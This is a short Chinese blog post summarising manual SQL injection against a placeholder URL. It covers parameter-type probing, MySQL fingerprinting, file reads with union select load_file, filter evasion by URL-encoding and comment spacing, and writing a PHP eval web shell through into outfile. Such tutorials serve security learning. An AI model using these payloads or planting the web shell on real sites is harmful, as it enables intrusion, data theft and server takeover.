SQL注入总结

作者: 夏夜星语 | 来源:发表于2016-10-12 18:32 被阅读376次

SQL注入是服务器安全最重要的一块,也是经常出现问题的模块,防止SQL注入也是可行的。
示例URL:"http://www.site.com/login.php?id=1"

一、SQL注入步骤

1. 检测输入参数类型,为string还是int

判别方法:将id的值改为:2-1,即将URL改为:"http://www.site.com/login.php?id=2-1",看结果和"id=1"一样不,一样则说明“2-1”运算了,说明id是整形参数,则无需对后续做去除“引号”的操作。

2. 判断数据库类型

判别方法:在id参数后添加SQL语句,比如检测目标网站后台数据库是否为MySQL:添加"and (select count() from mysql.user)>0"*,即URL变成:
"http://www.site.com/login.php?id=1+and+(select+count(*)+from+mysql.user)>0";
这样的话,如果结果仍正常返回,则说明后台数据库是MySQL。则后续可以继续判断数据库的版本,当前数据库,表,用户等信息。

涉及函数: select version(); select user(); select database();

3.进一步查询目标系统信息,利用union,insert等语句
  • 查询某一目录下某一文件信息:(假设事先知道目标机的该目录下的文件),语句:union select null,(select load_file("c:\devlist.txt"))
    当然这个load_file函数是要有较高权限的,可以进行管理员信息查阅提权,提权后进行相关操作。
    读取目标机信息

这样的话,实现了加载指定目录下文件的目的。

4.向目标机写入文件,注入木马
  • 向目标机写入文件(木马):(假设该用户有权限向目标路径写入文件);语句:union select null, '<?php eval($_POST["a"])?>' into outfile 'D:\test.txt'
    写入文件

二、SQL手工注入细节注意

如果在注入"and select union"语句时出现问题,被后台程序过滤掉,则可以用“d,s,u”(关键字的首字母)对应的URL编码代替,比如a的URL编码是%61
空格一般用+代替,或者/**/

三、SQL注入工具- sqlmap -- 开源跨平台

2016.10.12 上海

相关文章

  • sql注入总结(转载)

    sql注入总结(一)--2018自我整理 SQL注入总结 前言: 本文和之后的总结都是进行总结,详细实现过程细节可...

  • SQL注入漏洞案例实践学习记录(2018.7-2018.8)

    一、SQL注入简述 SQL注入漏洞测试的方式总结 SQL注入常用的内置函数整理(以MySql为例) 二、测试环境&...

  • web常见漏洞的成因和修复

    1.SQL注入 漏洞描述:SQL 注入攻击( SQL Injection ),简称注入攻击、SQL 注入,主要用于...

  • SQL注入总结

    一、SQL注入 在很多情况下,应用程序在访问数据库时一般采取拼接字符串的形式。变量的值是由用户输入的,在变量合法的...

  • sql注入总结

    参考文献:https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&mi...

  • SQL注入总结

    SQL注入是服务器安全最重要的一块,也是经常出现问题的模块,防止SQL注入也是可行的。示例URL:"http://...

  • SQL注入总结

    分类 SQL注入的攻击方式根据应用程序处理数据库返回内容的不同,可以分为可显注入、报错注入和盲注。 可显注入 攻击...

  • SQL注入总结·

    MySQL数据库初始的数据库有: information_schema,mysql,performance_sch...

  • 笔记:web漏洞

    SQL注入 SQL注入攻击(SQL Injection),简称注入攻击、SQL注入,被广泛用于非法获取网站控制权,...

  • 谈谈sql注入之原理和防护(-)

    谈谈sql注入(二)谈谈sql注入(三)谈谈sql注入(四)所谓SQL注入,就是通过把SQL命令插入到Web表单提...

网友评论

本文标题:SQL注入总结

本文链接:https://www.haomeiwen.com/subject/gabiyttx.html